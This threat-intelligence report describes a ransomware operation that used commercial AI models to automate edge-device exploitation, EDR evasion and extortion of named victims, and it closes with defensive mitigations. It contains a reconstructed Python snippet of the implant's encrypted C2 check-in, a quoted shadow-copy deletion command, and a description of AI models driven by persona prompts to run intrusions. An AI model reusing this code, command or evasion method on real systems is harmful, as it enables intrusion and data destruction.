Russian ransomware syndicates weaponise Phantom autonomous AI framework against 7,100 edge systems

Russian ransomware syndicates operationalise Phantom autonomous AI framework against 7,100 edge systems

A landmark threat intelligence investigation by the SOCRadar Threat Research Unit (STRU) has exposed a fully operational, artificial intelligence-driven intrusion ecosystem operated by affiliates of the INC Ransomware (MITRE Group G1032) and The Gentlemen ransomware syndicates. Triggered by severe operational security (OPSEC) failures on an exposed command-and-control server, researchers uncovered complete AI session databases, central target tracking ledgers, and the source code of Phantom, an autonomous red-team kill chain framework coordinating commercial large language models (LLMs) to scan, compromise, and extort enterprise networks.

Rather than employing AI purely as an advisory writing assistant or code optimiser, the operators implemented an AI-executed, human-approved command architecture. Commercial LLMs operating through the OpenCode interface and routed via OpenRouter (logging 8,257 messages across 133 sessions with over $23,920 in recorded API expenditure) autonomously directed edge device exploitation against FortiClient EMS (CVE-2026-35616) and SimpleHelp (CVE-2024-57727). Across 7,158 scanned edge systems, the campaign harvested 535 privileged administrative accounts, compromised 4,140 managed endpoints, and staged 46 custom INC encryptor binaries for a co-ordinated deployment wave.

Technical architecture of the Phantom autonomous AI intrusion lifecycle

Zoom

Zoom

Audit of verified investigative disclosures versus operator claims

Because the investigation recovered unvarnished internal session logs, developer chats, and target tracking databases directly from the adversary command-and-control infrastructure, technical forensic evidence must be distinguished from unverified operator assertions recorded in internal notes.

Audit of verified technical disclosures in SOCRadar investigation versus operational assumptions

Investigation Dimension	Explicitly Verified in Forensic Artifacts	Unverified Operator Assertion or Dependent on Victim Configuration
Threat Actor Linkage	Affiliates operating directly with INC Ransomware (GOLD IONIC) and The Gentlemen; recovery of branded extortion packages and active case files.	Direct central coordination by core ransomware developers versus autonomous affiliate crew deployment.
AI Infrastructure & Costs	Two active OpenRouter paid accounts with $23,920 recorded API spend; 8,257 messages across 133 OpenCode sessions.	The complete lifetime spending across unobserved secondary API accounts or self-hosted local model nodes.
Foundation Models Employed	Standard commercial models (Anthropic Claude Opus 4.6 and Moonshot AI Kimi K3) accessed via OpenRouter; WormGPT was strictly a persona prompt.	Whether local open-weight models (e.g. Llama 3 or Qwen) were deployed as failovers during API network disruptions.
Edge Device Exploitation	Direct recovery of scanning scripts, 427 SimpleHelp passwords, and 108 rogue admin creation logs across FortiClient EMS.	The operational survival rate of the 4,140 compromised endpoints post-remediation by managed service providers.
Payload Staging	46 custom INC encryptor binaries compiled for six specific victims; live encryption screenshot captured via SimpleHelp on 30 September 2026.	Whether all six target victim networks suffered complete enterprise encryption during the scheduled 1 October 2026 wave.

Phantom Agent v3.1: Wire protocol, cryptographic envelope, and polling mechanics

Internal framework source code recovered from adversary server 45.227.254.43 provided an exhaustive autopsy of Phantom Agent v3.1, the bespoke post-exploitation implant deployed across victim endpoints. The implant disguises its process footprint as a legitimate Windows Update component while maintaining encrypted communications with an asynchronous Python listener.

The agent lifecycle executes across five discrete architectural stages:

1. Packaging and Loader Execution: The agent executable is compiled using Nuitka or PyInstaller to obscure Python bytecode. At runtime, an encoded loader reads an encrypted data blob (cache.dat) and dynamically decodes it into an in-memory execution module (sync.py), evading static antivirus signatures on disk.
2. C2 Network Handshake: The Windows agent initiates outbound HTTPS connections over default port 443 to an aiohttp asynchronous HTTP daemon listening on external port 9443 on adversary pivot servers.
3. Cryptographic Envelope: All communications are encapsulated in an AES-256-CBC cipher with an HMAC-SHA256 signature protecting the underlying JSON payload from interception or tampering.
4. Registration and Task Polling: The agent issues an initial registration request to POST /api/v1/checkin, receiving a unique agent_id string. It subsequently enters a polling loop issuing GET /api/v1/tasks/agent_id. Polling incorporates random jitter between 15 and 45 seconds during active operations, transitioning into a 45 to 75 minute long idle mode with exponential backoff when no tasks are queued.
5. Task Dispatch and Results: The agent engine supports 15 native task execution primitives (including process execution, file staging, credential extraction, and memory scraping). Upon task completion, results are dispatched back to the listener via POST /api/v1/results/agent_id.

# Deconstructed Wire Logic of Phantom Agent v3.1 Polling Loop
import asyncio, aiohttp, json, hmac, hashlib
from Crypto.Cipher import AES

class PhantomAgentClient:
    def __init__(self, c2_url, shared_key, hmac_key):
        self.c2_url = c2_url
        self.shared_key = shared_key
        self.hmac_key = hmac_key
        self.agent_id = None

    def encrypt_envelope(self, payload_dict):
        raw_data = json.dumps(payload_dict).encode('utf-8')
        cipher = AES.new(self.shared_key, AES.MODE_CBC)
        pad_len = 16 - (len(raw_data) % 16)
        padded_data = raw_data + bytes([pad_len] * pad_len)
        ciphertext = cipher.encrypt(padded_data)
        signature = hmac.new(self.hmac_key, cipher.iv + ciphertext, hashlib.sha256).digest()
        return cipher.iv + ciphertext + signature

    async def checkin(self, session):
        metadata = {"os": "Windows-10-Enterprise", "user": "SYSTEM", "domain": "CORP-AD"}
        data = self.encrypt_envelope(metadata)
        async with session.post(f"{self.c2_url}/api/v1/checkin", data=data) as resp:
            res = await resp.json()
            self.agent_id = res.get("agent_id")
            return self.agent_id

Adversary infrastructure topology: Eight-server operational ecosystem

Forensic tracing from the open directories on 45.227.254.43 enabled researchers to map the operators' entire distributed server mesh. The infrastructure relied heavily on autonomous system AS267784 (Flyservers S.A.) to host command nodes, network pivot relays, and development hubs.

Forensic inventory of adversary infrastructure servers exposed in the Phantom campaign

IP Address	Hosting Provider / AS	Operational Role in Campaign	Tooling & Artifacts Discovered
45.227.254.43	Flyservers S.A. (AS267784)	Primary AI Node & Central Knowledge Base	OpenCode session history (8,257 messages), Phantom framework source code, per-victim workspaces, WormGPT KB.
45.227.254.45	Flyservers S.A. (AS267784)	Build Hub & Partner Package Staging	Payload compiler scripts, C2 implant builds, partner distribution packages, victim financial records.
45.227.254.84	Flyservers S.A. (AS267784)	Operator Workstation & Management Node	Windows VM desktop, SimpleHelp management console, 46 custom INC encryptor builds staged for deployment.
179.60.149.68	Flyservers S.A. (AS267784)	Network Staging & Internal Pivot Host	Ligolo-ng network proxy, Chisel reverse tunnels, intermediate payload storage.
37.72.168.212	European Cloud Host	Commercial C2 Platform Relay	Mythic C2 integration framework, Athena post-exploitation agent profiles.
77.110.109.248	Flyservers S.A. (AS267784)	Reverse Proxy Host	RevSocks reverse SOCKS5 proxy server facilitating internal network navigation.
89.185.83.8	Flyservers S.A. (AS267784)	Ghost C2 Delivery & Credential Harvesting	Three generations of polymorphic Ghost C2 implants, stolen credential parsers.
138.124.113.210	Flyservers S.A. (AS267784)	Ghost C2 Web Control Panel	Web administrative interface for tracking active Ghost bot callbacks and task queues.

Beyond C2 servers, the operators deployed a dedicated communications and exfiltration toolsuite. For internal operator communications, the team used the peer-to-peer encrypted messenger Utox (based on the Tox protocol) alongside a self-hosted Rocket.Chat instance. Stolen enterprise data was staged locally and exfiltrated to adversary-controlled Wasabi and Amazon S3 buckets using Restic and custom utilities rks3 and BackupAgent.

Automated perimeter harvesting across 7,100 edge appliances

The operators achieved rapid initial access by automating the discovery and exploitation of internet-facing perimeter devices. By querying cyberspace search engines FOFA and ZoomEye through automated scripts, the Phantom framework identified vulnerable gateways and executed targeted exploit payloads at machine speed.

Exploitation footprint across enterprise edge infrastructure in the Phantom campaign

Target Software / Protocol	Vulnerability Identifier	Scanned / Targeted Instances	Harvested Access / Compromised Scope	Exploitation Mechanism
Fortinet FortiClient EMS	CVE-2026-35616	2,236 exposed servers	108 rogue admin accounts created; 4,140 managed endpoints compromised	Pre-authentication SQL injection to administrative account creation; rogue VPN script deployment.
SimpleHelp Remote Support	CVE-2024-57727	4,922 scanned instances	427 administrator passwords harvested; 242 unique IP addresses breached	Path traversal vulnerability allowing extraction of technician session databases and configuration files.
cPanel / WHM Web Hosting	CVE-2026-41940	Unbounded hosting scans	49+ hosting provider intrusions claimed	Authentication bypass in hosting management console; used to compromise webmail and hosted customer servers.
Enterprise VPN Gateways	Ivanti, SonicWall, Citrix	Targeted infrastructure probes	3 confirmed enterprise intrusions	Session credential replay and unpatched perimeter gateway exploitation.

The compromise of SimpleHelp was especially catastrophic for downstream victims. By exploiting CVE-2024-57727 across 4,922 servers, the operators extracted plaintext technician passwords for managed service provider (MSP) instances. Because MSP technicians utilised universal management accounts across multiple client organisations, a single extracted password unlocked remote support agents across hundreds of enterprise client workstations simultaneously.

Kernel-level defense impairment via Bring Your Own Vulnerable Driver (BYOVD)

Upon establishing internal domain footholds, the operators encountered enterprise Endpoint Detection and Response (EDR) software. To evade detection and neutralise active sensor monitoring, the Phantom framework integrated a Bring Your Own Vulnerable Driver (BYOVD) termination utility.

The utility abused a legitimate, cryptographically signed third-party driver (associated with Zemana and Quick Heal / Seqrite products) that contained arbitrary kernel memory read and write primitives. By dropping the signed driver to disk, the malware registered a temporary service, loaded the driver into the Windows kernel space, and issued direct Input/Output Control (IOCTL) codes to strip process protection flags from anti-malware and EDR daemons. Once process protections were stripped, userland EDR processes were forcefully terminated with standard TerminateProcess API calls.

Furthermore, the threat actors modified their Volume Shadow Copy deletion routines. Traditional ransomware variants execute command-line instructions such as 'vssadmin.exe delete shadows /all /quiet', which immediately trigger alert heuristics across modern security information and event management (SIEM) platforms. In contrast, the Phantom framework utilised direct driver-level Volume Snapshot Service (VSS) calls to delete shadow storage areas without spawning visible command-line sub-processes.

Payload engineering: 46 custom INC encryptor binaries staged for wave deployment

Forensic recovery of the operator staging server (45.227.254.84) revealed 46 custom INC encryptor binaries compiled specifically for six named enterprise victims. Each binary was customised with victim-specific cryptographic public keys, embedded corporate organisation strings, and custom extension identifiers, covering both Windows and Linux ESXi environments.

Internal chat logs between operators recovered from the Rocket.Chat communications server confirmed that the threat group planned a simultaneous mass encryption wave scheduled for 1 October 2026 at 06:00 Moscow Time (03:00 UTC). Operator discussions explicitly confirmed the timeline: 'tomorrow at 6 Moscow time, right?'. A live screenshot captured via an active SimpleHelp session on 30 September 2026 confirmed that encryptor execution had already been validated on live target workstations hours ahead of the scheduled wave.

The INC encryptor binary exhibits several distinct operational characteristics:

• Language and Architecture: Compiled in Rust for high-performance multi-threaded cryptographic file traversal. • Process Termination: Automatically stops over 45 database and backup services (including Microsoft SQL Server, MySQL, Veeam, and Hyper-V services). • Cryptographic Scheme: Implements hybrid ChaCha20-Poly1305 symmetric encryption for files, with symmetric keys wrapped via victim-specific RSA-4096 public keys. • Ransom Note: Appends the .INC file extension and writes INC-README.txt into every traversed directory, directing victims to a dedicated Tor negotiation portal.

Documented victim case studies: Four real-world extortion timelines

Internal case tracking files recovered from the knowledge base provided an unprecedented, blow-by-blow record of extortion negotiations across four major enterprise victims, illustrating the exact timing of ransom demands, data leak threats, and executive coercion.

Timeline of documented extortion negotiations recovered from operator knowledge base

Victim Organisation	Sector / Industry	Exfiltration Scope / Initial Demand	Negotiation Sequence & Operator Escalation	Final Outcome / Public Listing
Aidon	Smart Grid & Energy IoT	Comprehensive operational data; initial demand of EUR 15,000,000 on 2 August 2026.	Proof sent 11 August; incident response consultant engaged 11 August; parent firm denied involvement 15 August; operators issued reduced EUR 4,000,000 demand letter on 18 August.	Published on INC Ransomware data leak site on 3 September 2026; confirmed monitoring sighting 16 September.
Leo Schachter Diamonds	Luxury Manufacturing & Retail	Commercial transactions & inventory ledgers; intelligence profiling completed 15 August 2026.	Letters drafted 16 August; initial extortion letter sent 17 August; scripted executive vishing planned 19 August; second letter sent 27 August; price revealed 1 September.	Listed on The Gentlemen data leak portal on 5 September 2026; final 48-hour ultimatum issued on 6 September.
Trulite Glass & Aluminum Solutions	Architectural Manufacturing	8.0 Terabytes of engineering designs, customer accounts, and internal correspondence.	Monitoring sighting 4 August 2026; extortion notes and 8 TB proof template drafted 5 to 10 August.	Customer notice and formal breach publication posted on INC Ransomware leak site on 9 September 2026.
Australian Healthcare Network	Healthcare & Clinical Services	Curated patient and clinical file tree; initial demand of A$3,000,000 to A$8,000,000.	Opening demand issued on 2 August 2026 with a strict 24-hour response deadline; victim leadership responded directly on 2 August.	Negotiations handled through encrypted Tor chat with Monero payment instructions.

MITRE ATT&CK mapping and defensive engineering recommendations

Defending against autonomous AI-directed ransomware kill chains requires shifting from reactive alert triage to proactive identity, edge, and driver-level containment. The Phantom campaign maps across eleven core MITRE ATT&CK techniques.

MITRE ATT&CK technique mapping for the Phantom autonomous AI ransomware framework

Tactic	Technique ID	Technique Name	Adversary Implementation in Phantom Campaign
Initial Access	T1190	Exploit Public-Facing Application	Automated exploitation of FortiClient EMS (CVE-2026-35616) and SimpleHelp (CVE-2024-57727).
Execution	T1059.001	PowerShell & Command Interpreters	AI-generated PowerShell commands executed through OpenCode interface and SOCKS5 tunnels.
Persistence	T1136.001	Create Local / Domain Account	Automated injection of 108 rogue administrator accounts into FortiClient EMS databases.
Privilege Escalation	T1068	Exploitation for Privilege Escalation	Elevation to Domain Admin via credential reuse, ZeroLogon attempts, and RMM technician tokens.
Defense Evasion	T1562.001	Disable or Modify Tools (BYOVD)	Abuse of vulnerable signed Zemana driver to terminate EDR processes in kernel space.
Defense Evasion	T1070.004	File Deletion (Shadow Copies)	Driver-level deletion of Volume Shadow Copies bypassing vssadmin command-line logging.
Discovery	T1087	Account & Domain Discovery	Automated Active Directory mapping using NetExec, BloodHound, and LDAP queries.
Command & Control	T1090.003	Multi-hop Proxy (RevSocks)	Reverse SOCKS5 pivoting through Flyservers hosting infrastructure (AS267784).
Exfiltration	T1048	Exfiltration Over Alternative Protocol	Automated extraction of finance, HR, and legal archives using custom rks3, Restic, and BackupAgent tools.
Impact	T1486	Data Encrypted for Impact	Execution of 46 custom Rust-based INC encryptor binaries appending .INC extension.

To mitigate autonomous AI intrusion operations, enterprise security engineering teams should enforce the following defensive directives:

1. Enforce Vulnerable Driver Blocklists: Implement Microsoft Recommended Driver Block Rules via Windows Defender Application Control (WDAC) or Hypervisor-Protected Code Integrity (HVCI) to block known vulnerable drivers (including Zemana and Quick Heal drivers) from loading into kernel memory.
2. Isolate Remote Management & Edge Consoles: Restrict administrative access to FortiClient EMS, SimpleHelp, and cPanel interfaces strictly to internal management subnets or zero-trust network access (ZTNA) bastions with mandatory phishing-resistant FIDO2 hardware tokens.
3. Audit Privileged Credential Reuse: Eliminate shared administrator passwords across MSP tooling, backup repositories, and corporate domain environments. Enforce unique local administrator passwords via Windows LAPS.
4. Monitor Shadow Copy API Invocations: Deploy behavioral heuristics that detect programmatic Volume Snapshot Service (VSS) deletion via DeviceIoControl IOCTLs rather than relying solely on vssadmin command-line process creation alerts.